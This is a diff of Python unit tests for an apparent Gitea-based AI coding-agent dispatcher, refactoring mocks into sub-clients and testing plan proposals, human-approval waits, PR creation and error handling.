@@ -19,9 +22,15 @@ async def test_dispatch_skips_issue_with_existing_pr() -> None:
title="fix: resolve bug",
body="closes #42"
)
mock_client.list_repo_pull_requests.return_value = [pr]
mock_client.prs.list_repo_pull_requests.return_value = [pr]
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
@@ -35,13 +44,14 @@ async def test_dispatch_skips_issue_with_existing_pr() -> None:
assert len(results) == 1
assert "SKIP: A pull request (PR #101) addressing issue #42 already exists" in results[0]
mock_client.list_repo_pull_requests.assert_called_once_with("meeks", "repo1")
mock_client.prs.list_repo_pull_requests.assert_called_once_with("meeks", "repo1")
@patch("core.dispatcher.CoordinatorAgent")
async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock) -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
# Mock list_repo_pull_requests to return PRs that don't address issue #42
pr = PullRequestModel(
@@ -49,8 +59,8 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
title="feat: add something",
body="closes #99"
)
mock_client.list_repo_pull_requests.return_value = [pr]
mock_client.get_issue_comments.return_value = []
mock_client.prs.list_repo_pull_requests.return_value = [pr]
mock_client.issues.get_issue_comments.return_value = []
# Mock CoordinatorAgent invoking propose_plan tool
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
@@ -61,7 +71,13 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
mock_coord_class.return_value = mock_coord_instance
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
@@ -79,8 +95,9 @@ async def test_dispatch_processes_issue_without_pr(mock_coord_class: MagicMock)
@patch("core.dispatcher.CodingAgent")
async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMock) -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
# Mock get_pull_request, get_pull_request_diff, etc.
pr = PullRequestModel(
@@ -90,24 +107,31 @@ async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMoc
head={"ref": "branch1"},
base={"ref": "master"}
)
mock_client.get_pull_request.return_value = pr
mock_client.get_pull_request_diff.return_value = "diff context"
mock_client.get_pull_request_files.return_value = []
mock_client.get_pull_request_comments.return_value = []
mock_client.prs.get_pull_request.return_value = pr
mock_client.prs.get_pull_request_diff.return_value = "diff context"
mock_client.prs.get_pull_request_files.return_value = []
mock_client.prs.get_pull_request_comments.return_value = []
# Mock the connected issue and its comments
issue = IssueModel(number=42, title="bug description")
mock_client.get_issue.return_value = issue
mock_client.issues.get_issue.return_value = issue
comment = CommentModel(id=1, body="First comment")
mock_client.get_issue_comments.return_value = [comment]
mock_client.issues.get_issue_comments.return_value = [comment]
# Mock CodingAgent
mock_agent_instance = MagicMock()
mock_agent_instance.run_with_tools = AsyncMock(return_value="PR Reviewed.")
mock_agent_class.return_value = mock_agent_instance
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
@@ -125,46 +149,54 @@ async def test_build_pr_mission_injects_issue_context(mock_agent_class: MagicMoc
assert "bug description" in mission
assert "First comment" in mission
mock_client.get_issue.assert_called_once_with("meeks", "repo1", 42)
mock_client.get_issue_comments.assert_called_once_with("meeks", "repo1", 42)
mock_client.issues.get_issue.assert_called_once_with("meeks", "repo1", 42)
mock_client.issues.get_issue_comments.assert_called_once_with("meeks", "repo1", 42)
async def test_find_pr_for_issue_by_branch() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
# 1. Matches fix/issue-42-some-desc
pr1 = PullRequestModel(number=102, head={"ref": "fix/issue-42-some-desc"})
mock_client.list_repo_pull_requests.return_value = [pr1]
mock_client.prs.list_repo_pull_requests.return_value = [pr1]
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
# 2. Matches fix/42
pr2 = PullRequestModel(number=102, head={"ref": "fix/42"})
mock_client.list_repo_pull_requests.return_value = [pr2]
mock_client.prs.list_repo_pull_requests.return_value = [pr2]
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
# 3. Matches fix-42_desc
pr3 = PullRequestModel(number=102, head={"ref": "fix-42_desc"})
mock_client.list_repo_pull_requests.return_value = [pr3]
mock_client.prs.list_repo_pull_requests.return_value = [pr3]
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is not None
# 4. Does NOT match fix/142
pr4 = PullRequestModel(number=102, head={"ref": "fix/142"})
mock_client.list_repo_pull_requests.return_value = [pr4]
mock_client.prs.list_repo_pull_requests.return_value = [pr4]
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
# 5. Does NOT match fix/421
pr5 = PullRequestModel(number=102, head={"ref": "fix/421"})
mock_client.list_repo_pull_requests.return_value = [pr5]
mock_client.prs.list_repo_pull_requests.return_value = [pr5]
assert dispatcher._find_pr_for_issue("meeks/repo1", 42) is None
async def test_find_pr_for_issue_by_raw_mention() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
# PR body mentions #42
pr = PullRequestModel(
@@ -173,33 +205,51 @@ async def test_find_pr_for_issue_by_raw_mention() -> None:
body="This is for #42 to fix the bug",
head={"ref": "some-branch"}
)
mock_client.list_repo_pull_requests.return_value = [pr]
mock_client.prs.list_repo_pull_requests.return_value = [pr]
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
res = dispatcher._find_pr_for_issue("meeks/repo1", 42)
assert res is not None
assert res.number == 103
async def test_dispatch_skips_already_reviewed_pr() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_client.repos = MagicMock()
mock_client.prs = MagicMock()
mock_client.issues = MagicMock()
mock_client.notifications = MagicMock()
mock_tools: MagicMock = MagicMock()
from gitea.models import UserModel
mock_client.get_authenticated_user.return_value = UserModel(login="meeks-ai")
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
pr = PullRequestModel(
number=104,
title="already reviewed PR",
body="closes #42",
user=UserModel(login="meeks-ai")
user=UserModel(login="unknown-ai"),
requested_reviewers=[],
)
mock_client.get_pull_request.return_value = pr
mock_client.get_pull_request_diff.return_value = "diff"
mock_client.get_pull_request_comments.return_value = [
mock_client.prs.get_pull_request.return_value = pr
mock_client.prs.get_pull_request_diff.return_value = "diff"
mock_client.prs.get_pull_request_comments.return_value = [
CommentModel(id=1, body="Reviewed by AI Agent: Looks good.")
]
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
@@ -222,29 +272,35 @@ def _make_comment(login: str, body: str) -> CommentModel:
return CommentModel(id=1, body=body, user=user)
def _make_dispatcher_for_reply_tests() -> AgentDispatcher:
mock_client = MagicMock()
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
return AgentDispatcher(client=mock_client, tools=MagicMock())
def test_is_awaiting_reply_no_comments() -> None:
dispatcher = AgentDispatcher(client=MagicMock(), tools=MagicMock())
dispatcher = _make_dispatcher_for_reply_tests()
assert dispatcher._is_awaiting_reply([]) is False
def test_is_awaiting_reply_no_question() -> None:
dispatcher = AgentDispatcher(client=MagicMock(), tools=MagicMock())
comments = [_make_comment("meeks-ai", "I will fix this now.")]
dispatcher = _make_dispatcher_for_reply_tests()
comments = [_make_comment("unknown-ai", "I will fix this now.")]
assert dispatcher._is_awaiting_reply(comments) is False
def test_is_awaiting_reply_agent_question_no_human_reply() -> None:
dispatcher = AgentDispatcher(client=MagicMock(), tools=MagicMock())
dispatcher = _make_dispatcher_for_reply_tests()
body = "Should I use approach A or B?\n<!-- agent:awaiting-reply -->"
comments = [_make_comment("meeks-ai", body)]
comments = [_make_comment("unknown-ai", body)]
assert dispatcher._is_awaiting_reply(comments) is True
def test_is_awaiting_reply_agent_question_human_replied() -> None:
dispatcher = AgentDispatcher(client=MagicMock(), tools=MagicMock())
dispatcher = _make_dispatcher_for_reply_tests()
body = "Should I use approach A or B?\n<!-- agent:awaiting-reply -->"
comments = [
_make_comment("meeks-ai", body),
_make_comment("unknown-ai", body),
_make_comment("michael", "Use approach A please."),
]
assert dispatcher._is_awaiting_reply(comments) is False
@@ -252,19 +308,20 @@ def test_is_awaiting_reply_agent_question_human_replied() -> None:
def test_is_awaiting_reply_no_marker_not_detected() -> None:
"""Agent asked a question but forgot the marker — should NOT be skipped."""
dispatcher = AgentDispatcher(client=MagicMock(), tools=MagicMock())
comments = [_make_comment("meeks-ai", "Should I use approach A or B?")]
dispatcher = _make_dispatcher_for_reply_tests()
comments = [_make_comment("unknown-ai", "Should I use approach A or B?")]
assert dispatcher._is_awaiting_reply(comments) is False
@patch("core.dispatcher.CoordinatorAgent")
async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
mock_client.list_repo_pull_requests.return_value = []
mock_client.get_issue_comments.return_value = []
mock_client.get_authenticated_user.return_value = UserModel(login="meeks-ai")
mock_client.prs.list_repo_pull_requests.return_value = []
mock_client.issues.get_issue_comments.return_value = []
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
coord_tools.propose_plan(plan="- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->", issue_number=42)
@@ -273,7 +330,13 @@ async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
mock_coord_class.return_value = mock_coord_instance
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
task_type="issue",
@@ -285,17 +348,18 @@ async def test_dispatch_proposes_plan(mock_coord_class: MagicMock) -> None:
results = await dispatcher.dispatch("meeks/repo1", [work_item])
assert len(results) == 1
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "### Proposed Implementation Plan\n\n- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->\n\nIs this plan ok for implementation or do you have any comments/changes?\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->")
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "### Proposed Implementation Plan\n\n- Add endpoint\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->\n\nIs this plan ok for implementation or do you have any comments/changes?\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->")
@patch("core.dispatcher.CoordinatorAgent")
async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
mock_client.list_repo_pull_requests.return_value = []
mock_client.get_issue_comments.return_value = []
mock_client.get_authenticated_user.return_value = UserModel(login="meeks-ai")
mock_client.prs.list_repo_pull_requests.return_value = []
mock_client.issues.get_issue_comments.return_value = []
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
coord_tools.answer_question(answer="X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->", issue_number=42)
@@ -304,7 +368,13 @@ async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
mock_coord_class.return_value = mock_coord_instance
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
task_type="issue",
@@ -316,20 +386,21 @@ async def test_dispatch_answers_question(mock_coord_class: MagicMock) -> None:
results = await dispatcher.dispatch("meeks/repo1", [work_item])
assert len(results) == 1
assert "POSTED_COMMENT: ANSWER_QUESTION" in results[0]
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->\n\nIs this answer satisfactory?\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->")
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "X works by doing Y.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->\n\nIs this answer satisfactory?\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->")
@patch("core.dispatcher.CoordinatorAgent")
async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock) -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
mock_client.list_repo_pull_requests.return_value = []
mock_client.get_authenticated_user.return_value = UserModel(login="meeks-ai")
mock_client.prs.list_repo_pull_requests.return_value = []
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
# Human comments indicating satisfaction after our answer
mock_client.get_issue_comments.return_value = [
_make_comment("meeks-ai", "Here is the answer.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->"),
mock_client.issues.get_issue_comments.return_value = [
_make_comment("unknown-ai", "Here is the answer.\n<!-- agent:question-response -->\n<!-- agent:awaiting-reply -->"),
_make_comment("michael", "Yes, thanks! That makes sense.")
]
@@ -340,7 +411,13 @@ async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
mock_coord_class.return_value = mock_coord_instance
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
task_type="issue",
@@ -352,27 +429,28 @@ async def test_dispatch_closes_issue_on_satisfaction(mock_coord_class: MagicMock
results = await dispatcher.dispatch("meeks/repo1", [work_item])
assert len(results) == 1
assert "CLOSED_ISSUE: Issue #42 closed." in results[0]
mock_client.add_comment.assert_called_once_with("meeks", "repo1", 42, "Closing the issue now. Let me know if you need anything else!")
mock_client.close_issue.assert_called_once_with("meeks", "repo1", 42)
mock_client.issues.add_comment.assert_called_once_with("meeks", "repo1", 42, "Closing the issue now. Let me know if you need anything else!")
mock_client.issues.close_issue.assert_called_once_with("meeks", "repo1", 42)
@patch("subprocess.run")
@patch("core.dispatcher.CodingAgent")
@patch("core.dispatcher.CoordinatorAgent")
async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
mock_client.list_repo_pull_requests.return_value = []
mock_client.get_authenticated_user.return_value = UserModel(login="meeks-ai")
mock_client.get_issue_comments.return_value = [
_make_comment("meeks-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
mock_client.prs.list_repo_pull_requests.return_value = []
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
mock_client.issues.get_issue_comments.return_value = [
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
_make_comment("michael", "looks good, go ahead")
]
# Return PR object on creation
mock_pr = PullRequestModel(number=105, title="WIP: add X", html_url="http://gitea/pr/105", head={"ref": "fix/issue-42-add-x"})
mock_client.create_pull_request.return_value = mock_pr
mock_client.prs.create_pull_request.return_value = mock_pr
# Mock planning agent deciding EXECUTE_PLAN
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
@@ -383,7 +461,13 @@ async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_cla
# Mock coding agent executing plan
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Completed Successfully.")
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
task_type="issue",
@@ -401,20 +485,21 @@ async def test_dispatch_executes_approved_plan_and_creates_wip_pr(mock_coord_cla
mock_run.assert_any_call(["git", "checkout", "-b", "fix/issue-42-add-x"], cwd=ANY, check=True)
# Verify WIP PR creation and starting comment
mock_client.create_pull_request.assert_called_once_with(
mock_client.prs.create_pull_request.assert_called_once_with(
"meeks", "repo1", head="fix/issue-42-add-x", base="master", title="WIP: add X", description="Work in progress for issue #42."
)
mock_client.add_comment.assert_any_call("meeks", "repo1", 42, "Started work on PR #105 (http://gitea/pr/105).")
mock_client.issues.add_comment.assert_any_call("meeks", "repo1", 42, "Started work on PR #105 (http://gitea/pr/105).")
@patch("subprocess.run")
@patch("core.dispatcher.CodingAgent")
@patch("core.dispatcher.CoordinatorAgent")
async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
mock_client.get_authenticated_user.return_value = UserModel(login="meeks-ai")
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
# Existing WIP PR addressing issue #42
wip_pr = PullRequestModel(
@@ -423,14 +508,14 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
state="open",
head={"ref": "fix/issue-42-add-x"}
)
mock_client.list_repo_pull_requests.return_value = [wip_pr]
mock_client.get_pr_reviews.return_value = []
mock_client.prs.list_repo_pull_requests.return_value = [wip_pr]
mock_client.prs.get_pr_reviews.return_value = []
mock_client.get_issue_comments.return_value = [
_make_comment("meeks-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
mock_client.issues.get_issue_comments.return_value = [
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
_make_comment("michael", "looks good, go ahead")
]
mock_client.get_pull_request_comments.return_value = []
mock_client.prs.get_pull_request_comments.return_value = []
# Mock planning agent deciding EXECUTE_PLAN
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
@@ -441,7 +526,13 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
# Mock coding agent executing plan
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Updated Successfully.")
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
task_type="issue",
@@ -455,14 +546,15 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
assert results[0] == "PR Updated Successfully."
# Ensure create_pull_request was NOT called since it already exists
mock_client.create_pull_request.assert_not_called()
mock_client.prs.create_pull_request.assert_not_called()
async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
mock_client.get_authenticated_user.return_value = UserModel(login="meeks-ai")
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
# PR authored by michael, requested reviewers is empty (agent not requested)
pr_detail = PullRequestModel(
@@ -472,9 +564,15 @@ async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
user=UserModel(login="michael"),
requested_reviewers=[]
)
mock_client.get_pull_request.return_value = pr_detail
mock_client.prs.get_pull_request.return_value = pr_detail
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
task_type="pr",
@@ -506,12 +604,13 @@ def test_coordinator_tools_registration() -> None:
@patch("core.dispatcher.CoordinatorAgent")
async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMock) -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
mock_client.list_repo_pull_requests.return_value = []
mock_client.get_issue_comments.return_value = []
mock_client.get_authenticated_user.return_value = UserModel(login="meeks-ai")
mock_client.prs.list_repo_pull_requests.return_value = []
mock_client.issues.get_issue_comments.return_value = []
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
# Mock agent invoking propose_plan tool
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
@@ -522,7 +621,13 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
mock_coord_class.return_value = mock_coord_instance
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
task_type="issue",
@@ -534,7 +639,7 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
results = await dispatcher.dispatch("meeks/repo1", [work_item])
assert len(results) == 1
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
mock_client.add_comment.assert_called_once_with(
mock_client.issues.add_comment.assert_called_once_with(
"meeks",
"repo1",
42,
@@ -542,3 +647,82 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
)
async def test_dispatcher_raises_type_error_for_invalid_task_info() -> None:
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
# Mock return values for methods called prior to the isinstance check
mock_client.prs.list_repo_pull_requests.return_value = []
mock_client.issues.get_issue_comments.return_value = []
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
# 1. Test dispatch raises TypeError if task_info is not IssueModel for an issue task
work_item_invalid_issue = WorkItem(
repo_full_name="meeks/repo1",
task_type="issue",
task_number=42,
task_info=PullRequestModel(number=42), # Invalid model type
priority=0
)
with pytest.raises(TypeError, match="Expected task_info to be an IssueModel"):
await dispatcher.dispatch("meeks/repo1", [work_item_invalid_issue])
# 2. Test _build_pr_mission raises TypeError if task_info is not PullRequestModel
work_item_invalid_pr = WorkItem(
repo_full_name="meeks/repo1",
task_type="pr",
task_number=42,
task_info=IssueModel(number=42), # Invalid model type
priority=0
)
with pytest.raises(TypeError, match="Expected task_info to be a PullRequestModel"):
dispatcher._build_pr_mission(work_item_invalid_pr)
# 3. Test _build_issue_mission raises TypeError if task_info is not IssueModel
with pytest.raises(TypeError, match="Expected task_info to be an IssueModel"):
dispatcher._build_issue_mission(work_item_invalid_issue)
async def test_dispatch_fails_if_no_authenticated_user() -> None:
mock_client: MagicMock = MagicMock()
mock_client.repos = MagicMock()
mock_tools: MagicMock = MagicMock()
# Simulate get_authenticated_user returning None
mock_client.repos.get_authenticated_user.return_value = None
dispatcher = AgentDispatcher(
client=mock_client,
issue_tools=MagicMock(),
pr_tools=MagicMock(),
file_tools=MagicMock(),
git_tools=MagicMock(),
)
work_item = WorkItem(
repo_full_name="meeks/repo1",
task_type="issue",
task_number=42,
task_info=IssueModel(number=42, title="add X", body=""),
priority=0
)
with pytest.raises(RuntimeError, match="No authenticated user found."):
await dispatcher.dispatch("meeks/repo1", [work_item])
# Simulate get_authenticated_user raising an Exception
mock_client.repos.get_authenticated_user.side_effect = Exception("API error")
with pytest.raises(RuntimeError, match="No authenticated user found."):
await dispatcher.dispatch("meeks/repo1", [work_item])
+88 -31
View File
@@ -3,19 +3,28 @@ from gitea.client import GiteaClient
from gitea.tools.file_tools import FileTools
def test_get_file_content_string_success() -> None:
def _create_mock_client() -> MagicMock:
"""Create a mock GiteaClient with sub-client attributes."""
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_file_content.return_value = "file content here"
mock_client.files = MagicMock()
return mock_client
def test_get_file_content_string_success() -> None:
mock_client = _create_mock_client()
mock_client.files.get_file_content.return_value = "file content here"
file_tools: FileTools = FileTools(mock_client)
res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
assert res == "1: file content here"
mock_client.get_file_content.assert_called_once_with("owner", "repo", "path/to/file")
mock_client.files.get_file_content.assert_called_once_with(
"owner", "repo", "path/to/file"
)
def test_get_file_content_list_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_file_content.return_value = ["line1", "line2"]
mock_client = _create_mock_client()
mock_client.files.get_file_content.return_value = ["line1", "line2"]
file_tools: FileTools = FileTools(mock_client)
res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
@@ -23,8 +32,8 @@ def test_get_file_content_list_success() -> None:
def test_get_file_content_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_file_content.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.files.get_file_content.side_effect = Exception("API Error")
file_tools: FileTools = FileTools(mock_client)
res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
@@ -32,66 +41,114 @@ def test_get_file_content_failure() -> None:
def test_get_file_content_with_ref_string_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_file_content.return_value = "file content here"
mock_client = _create_mock_client()
mock_client.files.get_file_content.return_value = "file content here"
file_tools: FileTools = FileTools(mock_client)
res: str = file_tools.get_file_content_with_ref("owner", "repo", "path/to/file", "main")
res: str = file_tools.get_file_content_with_ref(
"owner", "repo", "path/to/file", "main"
)
assert res == "1: file content here"
mock_client.get_file_content.assert_called_once_with("owner", "repo", "path/to/file", "main")
mock_client.files.get_file_content.assert_called_once_with(
"owner", "repo", "path/to/file", "main"
)
def test_get_file_content_with_ref_list_success() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_file_content.return_value = ["line1", "line2"]
mock_client = _create_mock_client()
mock_client.files.get_file_content.return_value = ["line1", "line2"]
file_tools: FileTools = FileTools(mock_client)
res: str = file_tools.get_file_content_with_ref("owner", "repo", "path/to/file", "main")
res: str = file_tools.get_file_content_with_ref(
"owner", "repo", "path/to/file", "main"
)
assert res == "1: line1\n2: line2"
def test_get_file_content_with_ref_failure() -> None:
mock_client: MagicMock = MagicMock(spec=GiteaClient)
mock_client.get_file_content.side_effect = Exception("API Error")
mock_client = _create_mock_client()
mock_client.files.get_file_content.side_effect = Exception("API Error")
